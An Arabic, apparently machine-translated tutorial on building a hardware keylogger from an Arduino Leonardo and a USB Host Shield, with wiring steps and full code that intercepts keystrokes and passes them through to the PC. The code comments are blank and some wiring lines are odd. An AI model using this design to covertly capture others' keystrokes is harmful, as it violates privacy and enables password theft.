Keylogger على اردوينو

مقدمة


تجدر الإشارة إلى أن نطاق هذا الجهاز ليس كبيرًا جدًا. بالنسبة للعمل ، هذا هو المراقبة ، ومراقبة وقت العمل ، والحماية من تسرب المعلومات ، وربما هذا هو كل شيء.

في الحياة اليومية ، هذا الشيء يمكن أن يجعل الحياة أسهل. على سبيل المثال ، ضغطوا على مجموعة معينة من المفاتيح - تعرف عليها أردوينو و ... أرسل إشارة لتشغيل الغلاية. إذا لم يكن غلاية ، ثم شيء آخر.

ولكن مع ذلك ، يعد هذا تتبعًا عاديًا (ربما مخفيًا) للموظف ، وهو ليس جيدًا من وجهة نظر أخلاقية. ولكن مع ذلك ، تمنح الشهادة القانونية الضوء الأخضر إذا تم تحديده في عقد العمل ، إذا تم هذا الرصد خلال ساعات العمل وفي مكان العمل ، وإذا تم بالطبع إبلاغ الموظف وتوقيفه.

حسنًا ، في حياتك الشخصية ، أنت حر في فعل ما تريد ، طالما أنه يتعلق بممتلكاتك.

كل شيء ، نحن محميون من الناحية القانونية ، الآن سأخبر وأظهر ما نحتاجه وكيفية تجميعه للحصول على اعتراض بسيط لضربات المفاتيح من لوحة المفاتيح.

لنبدأ


لذا ، نحتاج إلى عشرة أسلاك ولوحين:

1) Arduino Leonardo



2) USB Host Shield



لماذا Arduino Leonardo؟ نظرًا لأنها رخيصة نسبيًا ، وعلى عكس سابقاتها ، فإن ATmega32u4 يحتوي على دعم مدمج لاتصالات USB.

يحدد بروتوكول USB نوعين من الأجهزة: المضيف (الرئيسي ، الخادم) والأجهزة الطرفية (التابعة ، العميل). يقوم USB Host Shield بإدارة وتوفير الأجهزة الطرفية. على سبيل المثال ، عندما تقوم بتوصيل لوحة المفاتيح بجهاز كمبيوتر ، فإن الكمبيوتر هو المضيف الذي يتحكم في العميل ، والعميل في هذه الحالة هو لوحة المفاتيح.

وهناك عدد قليل من الأجهزة الطرفية المدعومة. الأكثر إثارة للاهتمام منها هي:

1) أجهزة HID: لوحة المفاتيح والماوس وعصا التحكم وما إلى ذلك
2) وحدات التحكم في الألعاب
3) هواتف Android والأجهزة اللوحية المتوافقة مع ADK.

ولمزيد من المعلومات التفصيلية ، يرجى زيارة الموقع الرسمي .

في حالتنا ، هذه هي لوحة المفاتيح. إنه ينتمي إلى فئة أجهزة HID. يتم ترميز رمز HID للوحة المفاتيح في 8 بايت:

1) 1 بايت - كل بت يتوافق مع معدله الخاص (L Ctrl ، R Ctrl ، L Shift ، R Shift ، إلخ).
2) 2 بايت - محفوظة ولا نحتاج إليها ، وعادة ما تكون فارغة.
3) 3-8 بايت - تحتوي على رموز 6 مفاتيح.

يمكنك قراءة المزيد عن هذا هنا .

كل شيء ، مع انتهاء النظرية ، يمكنك الآن تجميع الدائرة.



بالمناسبة ، يوجد برنامج ملائم للغاية لرسم المخططات ، حيث تم رسم هذا المخطط ، هنا .

الآن يجدر شرح ما هو.

يحتوي Arduino Leonardo على ميزة صغيرة لا يمكننا من خلالها توصيله في الأعلى: توجد موصلات SPI على ICSP (هذه الموصلات 6 في الوسط على اليمين) وبسبب هذا يجب أن تكون متصلة بموصلات USB Host Shield الرقمية.

1) سلك أصفر: دبوس 4 MOSI (متصل بالطرف 11 على درع مضيف USB).
2) سلك رمادي: دبوس 1 MISO (متصل بـ 12 دبوس على درع مضيف USB).
3) السلك الأخضر: دبوس 3 SCK (متصل بالطرف 13 على درع مضيف USB).

نحن نقدم الطاقة مع الأسلاك الخمسة السفلية والبنفسج واحد:

1) إعادة الضبط إلى إعادة الضبط
2) 3.3V إلى 3.3V
3) 5V إلى 5V
4) GND إلى GND
5) VIN إلى VIN
6) إعادة الضبط على D7

الآن نحتاج إلى توصيل دبابيس التحكم:
1) من D7 إلى D7
2) من D10 إلى D10

يعد هذا الحد الأدنى الضروري لتشغيله.

لذلك ، هناك دائرة ، الآن نحن بحاجة إلى برمجتها بطريقة أو بأخرى ويتم ذلك باستخدام Arduino IDE. إنه مجاني تمامًا وهو في المجال العام. يمكن العثور على أمثلة للبرامج و IDE نفسها على الموقع الرسمي.

للعمل مع USB Host Shield ، نحتاج إلى مكتبة إضافية ( هنا ).

الكود نفسه بسيط قدر الإمكان:

#include <hidboot.h>
#include <SPI.h>
#include <SD.h>

//     .
class KeyboardOut
{
  private:
    KeyReport _keyReport; //   8   .
    
    void send_report();
    
  public:
    size_t press(uint8_t mod, uint8_t key);
    size_t release(uint8_t mod, uint8_t key);
};

KeyboardOut keyboard_out;

//     .
size_t KeyboardOut::press(uint8_t mod, uint8_t key) {
  uint8_t i;
  
  _keyReport.modifiers |= mod;
  
  if (_keyReport.keys[0] != key && _keyReport.keys[1] != key && 
    _keyReport.keys[2] != key && _keyReport.keys[3] != key &&
    _keyReport.keys[4] != key && _keyReport.keys[5] != key) {

    for (i=0; i<6; i++) {
      if (_keyReport.keys[i] == 0x00) {
        _keyReport.keys[i] = key;
        break;
      }
    }
    if (i == 6) {
      return 0;
    }	
  }
  send_report();
  return 1;
}

//     .
size_t KeyboardOut::release(uint8_t mod, uint8_t key) {
  uint8_t i;
  
  _keyReport.modifiers &= mod;
  
  for (i=0; i<6; i++) {
    if (0 != key && _keyReport.keys[i] == key) {
      _keyReport.keys[i] = 0x00;
    }
  }
  send_report();
  return 1;
}

void KeyboardOut::send_report()
{
  HID_SendReport(2, &_keyReport, sizeof(KeyReport));	//     .
}

//     USB Host Shield.
class KeyboardIn : public KeyboardReportParser
{
  protected:
    void OnKeyDown  (uint8_t mod, uint8_t key);
    void OnKeyUp  (uint8_t mod, uint8_t key);
};

KeyboardIn keyboard_in;

//     USB Host Shield.
void KeyboardIn::OnKeyDown(uint8_t mod, uint8_t key)
{
  keyboard_out.press(mod, key);
  
  uint8_t c = OemToAscii(mod, key);    //     
  PrintHex<uint8_t>(key, 0x80);            //     
}

//     USB Host Shield.
void KeyboardIn::OnKeyUp(uint8_t mod, uint8_t key)
{
  keyboard_out.release(mod, key);
  
  uint8_t c = OemToAscii(mod, key);
  PrintHex<uint8_t>(key, 0x80);
}

USB     UsbHost;

HIDBoot<HID_PROTOCOL_KEYBOARD>    HidKeyboard(&UsbHost);

void setup()
{
  UsbHost.Init();
  
  delay( 200 );

  HidKeyboard.SetReportParser(0, (HIDReportParser*)&keyboard_in);
}

void loop()
{
  UsbHost.Task();
}

يبقى فقط للاتصال عبر USB Arduino بجهاز الكمبيوتر ، ولوحة المفاتيح إلى USB Host Shield ، قم بتنزيل البرنامج إلى Arduino باستخدام IDE وهذا كل شيء! Key Catcher جاهز!

النتائج:

1) يوفر Arduino العديد من الميزات بسعره المنخفض ومجموعة متنوعة من الوحدات والمستشعرات.
2) يمكن لهذا الجهاز أن يسمح لك بتحويل لوحة المفاتيح الخاصة بك إلى لوحة تحكم ، على سبيل المثال ، تلفزيون ، غلاية كهربائية ، مصباح ، عليك فقط شراء وحدتين.

Source: https://habr.com/ru/post/ar388335/


All Articles